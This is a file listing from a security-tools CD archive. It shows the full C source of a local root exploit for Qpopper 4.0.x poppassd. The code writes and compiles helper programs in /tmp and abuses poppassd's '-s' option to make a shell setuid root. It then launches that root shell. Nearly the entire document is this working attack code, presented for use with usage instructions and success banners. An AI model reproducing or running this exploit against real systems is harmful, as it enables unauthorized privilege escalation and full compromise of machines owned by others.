home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / Qpopper.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  258 lines
  1. /*
  2. **
  3. **  Title: Qpopper v4.0.x poppassd local root exploit.
  4. **  Exploit code: 0x82-Local.Qp0ppa55d.c
  5. **
  6. ** --
  7. **  ./0x82-Local.Qp0ppa55d -u x82 -p mypasswd
  8. **
  9. **  Qpopper v4.0.x poppassd local root exploit.
  10. **                          by Xpl017Elz
  11. **
  12. */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <unistd.h>
  17. #include <sys/stat.h>
  18.  
  19. #define BUF_SZ 0x82
  20. #define D_POPPASS "/usr/local/bin/poppassd"
  21. #define D_NAME "Happy-Exploit"
  22. #define D_SHELL "/tmp/x82"
  23. #define D_EXEC "/tmp/x0x"
  24.  
  25. int m_sh();
  26. void banrl();
  27. void usage(char *p_name);
  28. struct stat ss;
  29.  
  30. void usage(char *p_name)
  31. {
  32.     fprintf(stdout," Usage: %s -option [argument]\n",p_name);
  33.     fprintf(stdout,"\n\t-u - Qpopper username.\n");
  34.     fprintf(stdout,"\t-p - Qpopper password.\n");
  35.     fprintf(stdout,"\t-t - Qpopper poppassd path.\n");
  36.     fprintf(stdout,"\t-h - Help information.\n\n");
  37.     fprintf(stdout," Example> %s -u x82 -p %s\n\n",p_name,D_NAME);
  38.     exit(-1);
  39. }
  40.  
  41. int m_sh()
  42. {
  43.     char d_shell[BUF_SZ]=D_SHELL;
  44.     char sh_drop[BUF_SZ];
  45.     FILE *fp;
  46.     
  47.     memset((char *)sh_drop,0,sizeof(sh_drop));
  48.     snprintf(sh_drop,sizeof(sh_drop)-1,"%s.c",d_shell);
  49.     
  50.     if((fp=fopen(sh_drop,"w"))==NULL)
  51.     {
  52.         perror(" [-] fopen() error");
  53.         exit(-1);
  54.     }
  55.     
  56.     fprintf(fp,"main() {\n");
  57.     fprintf(fp,"setreuid(0,0);\nsetregid(0,0);\n");
  58.     fprintf(fp,"setuid(0);\nsetgid(0);\n");
  59.     fprintf(fp,"system(\"su -\");\n}\n");
  60.     
  61.     fclose(fp);
  62.  
  63.     memset((char *)sh_drop,0,sizeof(sh_drop));
  64.     snprintf(sh_drop,sizeof(sh_drop)-1,
  65.         "gcc -o %s %s.c >/dev/null 2>&1;"
  66.         "rm -f %s.c >/dev/null 2>&1",
  67.         d_shell,d_shell,d_shell);
  68.     system(sh_drop);
  69.     
  70.     memset((char *)d_shell,0,sizeof(d_shell));
  71.     strncpy(d_shell,D_EXEC,sizeof(d_shell)-1);
  72.     
  73.     memset((char *)sh_drop,0,sizeof(sh_drop));
  74.     snprintf(sh_drop,sizeof(sh_drop)-1,"%s.c",d_shell);
  75.     
  76.     if((fp=fopen(sh_drop,"w"))==NULL)
  77.     {
  78.         perror(" [-] fopen() error");
  79.         exit(-1);
  80.     }
  81.     
  82.     fprintf(fp,"main() {\n");
  83.     fprintf(fp,"setreuid(0,0);\nsetregid(0,0);\n");
  84.     fprintf(fp,"setuid(0);\nsetgid(0);\n");
  85.     fprintf(fp,"system(\"chown root: %s\");\n",D_SHELL);
  86.     fprintf(fp,"system(\"chmod 6755 %s\");\n}\n",D_SHELL);
  87.     
  88.     fclose(fp);
  89.  
  90.     memset((char *)sh_drop,0,sizeof(sh_drop));
  91.     snprintf(sh_drop,sizeof(sh_drop)-1,
  92.         "gcc -o %s %s.c >/dev/null 2>&1;"
  93.         "rm -f %s.c >/dev/null 2>&1",
  94.         d_shell,d_shell,d_shell);
  95.     system(sh_drop);
  96.  
  97.     if((stat(D_SHELL,&ss)==0)&&(stat(D_EXEC,&ss)==0))
  98.     {
  99.         fprintf(stdout," [+] make code.\n");
  100.         return(0);
  101.     }
  102.     else
  103.     {
  104.         fprintf(stderr," [-] code not found.\n");
  105.         return(-1);
  106.     }
  107. }
  108.  
  109. int main(int argc, char *argv[])
  110. {
  111.     int whtl;
  112.     char user_id[BUF_SZ]=D_NAME;
  113.     char passwd[BUF_SZ]=D_NAME;
  114.     char tg_path[BUF_SZ]=D_POPPASS;
  115.     char df_sh[BUF_SZ]=D_SHELL;
  116.  
  117.     (void)banrl();
  118.     
  119.     while((whtl=getopt(argc,argv,"U:u:P:p:T:t:Hh"))!=-1)
  120.     {
  121.         extern char *optarg;
  122.         switch(whtl)
  123.         {
  124.             case 'U':
  125.             case 'u':
  126.                 memset((char *)user_id,0,sizeof(user_id));
  127.                 strncpy(user_id,optarg,sizeof(user_id)-1);
  128.                 break;
  129.                 
  130.             case 'P':
  131.             case 'p':
  132.                 memset((char *)passwd,0,sizeof(passwd));
  133.                 strncpy(passwd,optarg,sizeof(passwd)-1);
  134.                 break;
  135.                 
  136.             case 'T':
  137.             case 't':
  138.                 memset((char *)tg_path,0,sizeof(tg_path));
  139.                 strncpy(tg_path,optarg,sizeof(tg_path)-1);
  140.                 break;
  141.                 
  142.             case 'H':
  143.             case 'h':
  144.                 (void)usage(argv[0]);
  145.                 break;
  146.                 
  147.             case '?':
  148.                 fprintf(stderr," Try `%s -i' for more information.\n\n",argv[0]);
  149.                 exit(-1);
  150.                 break;
  151.         }
  152.     }
  153.     
  154.     if(!strcmp(user_id,D_NAME)||!strcmp(passwd,D_NAME))
  155.     {
  156.         (void)usage(argv[0]);
  157.         exit(-1);
  158.     }
  159.     else
  160.     {
  161.         char comm[1024];
  162.         int out[2],in[2];
  163.  
  164.         if(((int)m_sh())==-1)
  165.         {
  166.             fprintf(stdout," [-] exploit failed.\n\n");
  167.             exit(-1);
  168.         }
  169.  
  170.         if(pipe(out)==-1)
  171.         {
  172.             perror(" [-] pipe() error");
  173.             exit(-1);
  174.         }
  175.         
  176.         if(pipe(in)==-1)
  177.         {
  178.             perror(" [-] pipe() error");
  179.             exit(-1);
  180.         }
  181.         
  182.         switch(fork())
  183.         {
  184.             case -1:
  185.                 perror(" [-] fork() error");
  186.                 break;
  187.  
  188.             case 0:
  189.                 close(out[0]);
  190.                 close(in[1]);
  191.                 
  192.                 dup2(out[1],STDOUT_FILENO);
  193.                 dup2(in[0],STDIN_FILENO);
  194.                 
  195.                 execl(tg_path,tg_path,"-s",D_EXEC,0);
  196.                 break;
  197.  
  198.             default:
  199.                 close(out[1]);
  200.                 close(in[0]);
  201.  
  202.                 fprintf(stdout," [+] execute poppassd.\n");
  203.                 memset((char *)comm,0,sizeof(comm));
  204.                 read(out[0],comm,sizeof(comm)-1);
  205.                 fprintf(stdout," %s",comm);
  206.  
  207.                 memset((char *)comm,0,sizeof(comm));
  208.                 snprintf(comm,sizeof(comm)-1,"user %s\r\n",user_id);
  209.                 fprintf(stdout," [+] input username.\n");
  210.                 write(in[1],comm,strlen(comm));
  211.  
  212.                 memset((char *)comm,0,sizeof(comm));
  213.                 read(out[0],comm,sizeof(comm)-1);
  214.                 fprintf(stdout," %s",comm);
  215.  
  216.                 memset((char *)comm,0,sizeof(comm));
  217.                 snprintf(comm,sizeof(comm)-1,"pass %s\r\n",passwd);
  218.                 fprintf(stdout," [+] input password.\n");
  219.                 write(in[1],comm,strlen(comm));
  220.  
  221.                 memset((char *)comm,0,sizeof(comm));
  222.                 read(out[0],comm,sizeof(comm)-1);
  223.                 fprintf(stdout," %s",comm);
  224.  
  225.                 memset((char *)comm,0,sizeof(comm));
  226.                 snprintf(comm,sizeof(comm)-1,"newpass %s\r\n",passwd);
  227.                 fprintf(stdout," [+] input fake new password.\n");
  228.                 write(in[1],comm,strlen(comm));
  229.  
  230.                 close(out[0]);
  231.                 close(in[1]);
  232.                 break;
  233.         }
  234.  
  235.         fprintf(stdout," [+] wait, 2sec.\n");
  236.         sleep(2);
  237.  
  238.         if((stat(D_SHELL,&ss)==0)&&(ss.st_mode&S_ISUID))
  239.         {
  240.             fprintf(stdout," [+] Ok, exploited successfully.\n");
  241.             fprintf(stdout," [*] It's Rootshell !\n\n");
  242.             unlink(D_EXEC);
  243.             execl(D_SHELL,D_SHELL,0);
  244.         }
  245.         else
  246.         {
  247.             fprintf(stdout," [-] exploit failed.\n\n");
  248.             exit(-1);
  249.         }
  250.     }
  251. }
  252.  
  253. void banrl()
  254. {
  255.     fprintf(stdout,"\n Qpopper v4.0.x poppassd local root exploit.\n");
  256.     fprintf(stdout,"                                by Xpl017Elz\n\n");
  257. }
  258.